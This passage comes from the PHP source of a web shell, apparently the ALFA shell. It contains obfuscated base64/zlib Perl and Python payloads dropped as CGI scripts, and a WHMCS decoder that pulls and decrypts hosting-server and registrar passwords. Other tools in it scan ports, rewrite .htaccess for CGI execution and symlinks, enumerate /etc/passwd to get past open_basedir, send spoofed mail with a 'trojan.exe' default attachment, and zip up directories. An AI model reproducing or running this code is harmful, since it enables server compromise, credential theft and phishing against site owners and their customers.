  5308. $perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';;
  5309. $py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
  5310. if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}
  5311. if(__write_file($name,$code)){
  5312. @chmod($name,0755);
  5313. echo '<iframe src="'.'cgialfa/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
  5314. }
  5315. }
  5316. echo $div;
  5317. alfafooter();
  5318. }
  5319. function alfaWhmcs(){
  5320. alfahead();
  5321. echo '<div class=header>';
  5322. function decrypt($string,$cc_encryption_hash){
  5323. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  5324. $hash_key = _hash($key);
  5325. $hash_length = strlen ($hash_key);
  5326. $string = __ZGVjb2Rlcg($string);
  5327. $tmp_iv = substr ($string, 0, $hash_length);
  5328. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  5329. $iv = $out = '';
  5330. $c = 0;
  5331. while ($c < $hash_length)
  5332. {
  5333. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  5334. ++$c;
  5335. }
  5336. $key = $iv;
  5337. $c = 0;
  5338. while ($c < strlen ($string))
  5339. {
  5340. if (($c != 0 AND $c % $hash_length == 0))
  5341. {
  5342. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  5343. }
  5344. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  5345. ++$c;
  5346. }
  5347. return $out;
  5348. }
  5349. function _hash($string)
  5350. {
  5351. if(function_exists('sha1'))
  5352. {
  5353. $hash = sha1 ($string);
  5354. }
  5355. else
  5356. {
  5357. $hash = md5 ($string);
  5358. }
  5359. $out = '';
  5360. $c = 0;
  5361. while ($c < strlen ($hash))
  5362. {
  5363. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  5364. $c += 2;
  5365. }
  5366. return $out;
  5367. }
  5368. AlfaNum(8,9,10);
  5369. echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>".getConfigHtml('whmcs')."</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
  5370. <input type='hidden' name='form_action' value='2'>";
  5371. $table = array('td1' =>
  5372. array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  5373. 'td2' =>
  5374. array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  5375. 'td3' =>
  5376. array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  5377. 'td4' =>
  5378. array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  5379. 'td5' =>
  5380. array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')
  5381. );
  5382. create_table($table);
  5383. echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
  5384. if($_POST['alfa5']!=''){
  5385. $db_host=($_POST['alfa7']);
  5386. $db_username=($_POST['alfa3']);
  5387. $db_password=($_POST['alfa4']);
  5388. $db_name=($_POST['alfa5']);
  5389. $cc_encryption_hash=($_POST['alfa6']);
  5390. echo __pre();
  5391. $conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
  5392. $query = mysqli_query($conn,"SELECT * FROM tblservers");
  5393. $num = mysqli_num_rows($query);
  5394. if ($num > 0){
  5395. for($i=0; $i <=$num-1; $i++){
  5396. $v = @mysqli_fetch_array($query);
  5397. $ipaddress = $v['ipaddress'];
  5398. $username = $v['username'];
  5399. $type = $v['type'];
  5400. $active = $v['active'];
  5401. $hostname = $v['hostname'];
  5402. echo("<center><table border='1'>");
  5403. $password = decrypt ($v['password'], $cc_encryption_hash);
  5404. echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
  5405. echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
  5406. echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
  5407. echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
  5408. echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
  5409. echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
  5410. echo "</table><br><br></center>";
  5411. }
  5412. $query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
  5413. $num1 = @mysqli_num_rows($query1);
  5414. if ($num1 > 0){
  5415. for($i=0; $i <=$num1 -1; $i++){
  5416. $v = mysqli_fetch_array($query1);
  5417. $registrar = $v['registrar'];
  5418. $setting = $v['setting'];
  5419. $value = decrypt($v['value'], $cc_encryption_hash);
  5420. if ($value==""){
  5421. $value=0;
  5422. }
  5423. echo("<center>Domain Reseller <br><center>");
  5424. echo("<center><table border='1'>");
  5425. echo("<tr><td><b><font color=\"#daf50c\">Register</font></td><td>$registrar</td></tr></b>");
  5426. echo("<tr><td><b><font color=\"#daf50c\">Setting</font></td><td>$setting</td></tr></b>");
  5427. echo("<tr><td><b><font color=\"#daf50c\">Value</font></td><td>$value</td></tr></b>");
  5428. echo "</table><br><br></center>";
  5429. }
  5430. }
  5431. }else{__alert('<font color="red">tblservers is Empty...!</font>');};
  5432. }
  5433. echo "</div>";
  5434. alfafooter();
  5435. }
  5436. function alfaportscanner(){
  5437. alfahead();
  5438. echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
  5439. <form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
  5440. <input type="hidden" name="y" value="phptools">
  5441. <div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
  5442. <div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>
  5443. <div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
  5444. </form></center><br>';
  5445. $start = strip_tags($_POST['alfa2']);
  5446. $end = strip_tags($_POST['alfa3']);
  5447. $host = strip_tags($_POST['alfa4']);
  5448. if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
  5449. echo __pre();
  5450. $packetContent = "GET / HTTP/1.1\r\n\r\n";
  5451. if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
  5452. else{
  5453. $packetContent =str_replace(array("\r","\n"), "", $packetContent);
  5454. $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
  5455. }
  5456. for($i = $start; $i<=$end; $i++){
  5457. $sock = @fsockopen($host, $i, $errno, $errstr, 3);
  5458. if($sock){
  5459. stream_set_timeout($sock, 5);
  5460. fwrite($sock, $packetContent."\r\n\r\n\x00");
  5461. $counter = 0;
  5462. $maxtry = 1;
  5463. $bin = "";
  5464. do{
  5465. $line = fgets($sock, 1024);
  5466. if(trim($line)=="")$counter++;
  5467. $bin .= $line;
  5468. }while($counter<$maxtry);
  5469. fclose($sock);
  5470. echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
  5471. echo "<p><textarea style='height:140px;width:50%;'>".$bin."</textarea></p></center>";
  5472. }
  5473. flush();
  5474. }
  5475. }
  5476. echo '</div>';
  5477. alfafooter();
  5478. }
  5479. function alfacgihtaccess($m,$d='', $symname=false){
  5480. $readme = "";
  5481. if($symname){$readme="\nReadmeName ".trim($symname);}
  5482. if($m=='cgi'){
  5483. $code = "#Coded By SUPERBONE X TEAM\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
  5484. }elseif($m=='sym'){
  5485. $code = "#Coded By SUPERBONE X TEAM\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
  5486. }elseif($m=='shtml'){
  5487. $code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
  5488. }
  5489. @__write_file($d.'.htaccess',$code);
  5490. }
  5491. function alfabasedir(){
  5492. alfahead();
  5493. echo '<div class=header>
  5494. <center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
  5495. $passwd = _alfa_file('/etc/passwd');
  5496. if(is_array($passwd)){
  5497. $users = array();
  5498. $makepwd = alfaMakePwd();
  5499. $basedir = @ini_get('open_basedir');
  5500. $safe_mode = @ini_get('safe_mode');
  5501. if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
  5502. $bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
  5503. alfaWriteTocgiapi("basedir.alfa",$bash);
  5504. $bash_users = alfaEx("cd alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
  5505. $users = json_decode($bash_users, true);
  5506. $x=count($users);
  5507. if($x>=2){array_pop($users);--$x;}
  5508. }
  5509. if(!$basedir&&!$safe_mode){
  5510. $x=0;
  5511. foreach($passwd as $str){
  5512. $pos = strpos($str,':');
  5513. $username = substr($str,0,$pos);
  5514. $dirz = str_replace("{user}", $username, $makepwd);
  5515. if(($username != '')){
  5516. if (@is_readable($dirz)){
  5517. array_push($users,$username);
  5518. $x++;
  5519. }}}
  5520. }
  5521. echo '<br><br>';
  5522. echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n"."<br /></font></b>";
  5523. echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n"."<br /></font></b>";
  5524. echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
  5525. foreach($users as $user){
  5526. if(empty($user))continue;
  5527. $path = str_replace("{user}", $user, $makepwd);
  5528. echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
  5529. }
  5530. }else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
  5531. echo '<br><br></b>';
  5532. echo '</div>';
  5533. alfafooter();
  5534. }
  5535. function alfamail(){
  5536. alfahead();
  5537. echo '<div class=header>';
  5538. AlfaNum(8,9,10);
  5539. echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
  5540. $table = array(
  5541. 'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60','placeholder' => true),
  5542. 'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true),
  5543. 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),
  5544. 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),
  5545. 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')
  5546. );
  5547. create_table($table);
  5548. echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
  5549. if(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){
  5550. $mail_to = $_POST['alfa1'];
  5551. $mail_from = $_POST['alfa2'];
  5552. $mail_subject = $_POST['alfa3'];
  5553. $mail_content = $_POST['alfa5'];
  5554. $count_mail = (int)$_POST['alfa6'];
  5555. $mail_attach = $_POST['alfa7'];
  5556. if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
  5557. if(!empty($mail_attach)&&@is_file($mail_attach)){
  5558. $file = $mail_attach;
  5559. $content = __read_file($file);
  5560. $content = chunk_split(__ZW5jb2Rlcg($content));
  5561. $uid = md5(uniqid(time()));
  5562. $filename = basename($file);
  5563. $headers = "From: ".$mail_from." <".$mail_from.">\r\n";
  5564. $headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
  5565. $headers .= "Reply-To: ".$mail_from."\r\n";
  5566. $headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
  5567. $headers .= 'MIME-Version: 1.0' . "\r\n";
  5568. $headers .= 'X-Mailer: php' . "\r\n";
  5569. $mail_content = "--".$uid."\r\n";
  5570. $mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
  5571. $mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
  5572. $mail_content .= $mail_content."\r\n\r\n";
  5573. $mail_content .= "--".$uid."\r\n";
  5574. $mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n";
  5575. $mail_content .= "Content-Transfer-Encoding: base64\r\n";
  5576. $mail_content.= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
  5577. $mail_content .= $content."\r\n\r\n";
  5578. $mail_content .= "--".$uid."--";
  5579. }else{
  5580. $headers = "From: " . $mail_from. " ( ".$mail_from." ) \r\n";
  5581. $headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
  5582. $headers .= 'Reply-To: '.$mail_from.'' . "\r\n";
  5583. $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
  5584. $headers .= 'MIME-Version: 1.0' . "\r\n";
  5585. $headers .= 'X-Mailer: php' . "\r\n";
  5586. }
  5587. if(empty($count_mail)||$count_mail<1)$count_mail=1;
  5588. if(!empty($mail_from)){echo __pre();
  5589. for($i=1;$i<=$count_mail;$i++){
  5590. if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
  5591. }}else{__alert("Invalid Mail From !");}
  5592. }else{__alert("Invalid Mail To !");}
  5593. }
  5594. echo('</div>');
  5595. alfafooter();
  5596. }
  5597. function alfaziper(){
  5598. alfahead();
  5599. AlfaNum(8,9,10);
  5600. echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
  5601. <form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
  5602. <div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['cwd']).'" size="60"/>
  5603. <div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'alfa.zip" size="60"/>
  5604. <input type="submit" value=" " name="ziper" />
  5605. </form></center></p>';
  5606. if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
  5607. $dirzip = $_POST['alfa3'];
  5608. $zipfile = $_POST['alfa4'];
  5609. if (class_exists('ZipArchive')&&($GLOBALS['sys']!='unix'||!_alfa_can_runCommand(true,true))){
  5610. $code='if(!extension_loaded(\'zip\')||!file_exists($source)){return false;}$zip=new ZipArchive();if(!$zip->open($destination,ZIPARCHIVE::CREATE)){return false;}$source=str_replace(\'\\\\\',\'/\',realpath($source));if(is_dir($source)===true){$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);foreach($files as $file){$file=str_replace(\'\\\\\',\'/\',$file);if(in_array(substr($file,strrpos($file,\'/\')+1),array(\'.\',\'..\')))continue;$file=realpath($file);if(is_dir($file)===true){$zip->addEmptyDir(str_replace($source.\'/\',\'\',$file.\'/\'));}else if(is_file($file)===true){$zip->addFromString(str_replace($source.\'/\',\'\',$file),file_get_contents($file));}}}else if(is_file($source)===true){$zip->addFromString(basename($source),file_get_contents($source));}return $zip->close();';
  5611. $newfunc = create_function('$source,$destination', $code);
  5612. if($newfunc($dirzip, $zipfile)){
  5613. echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
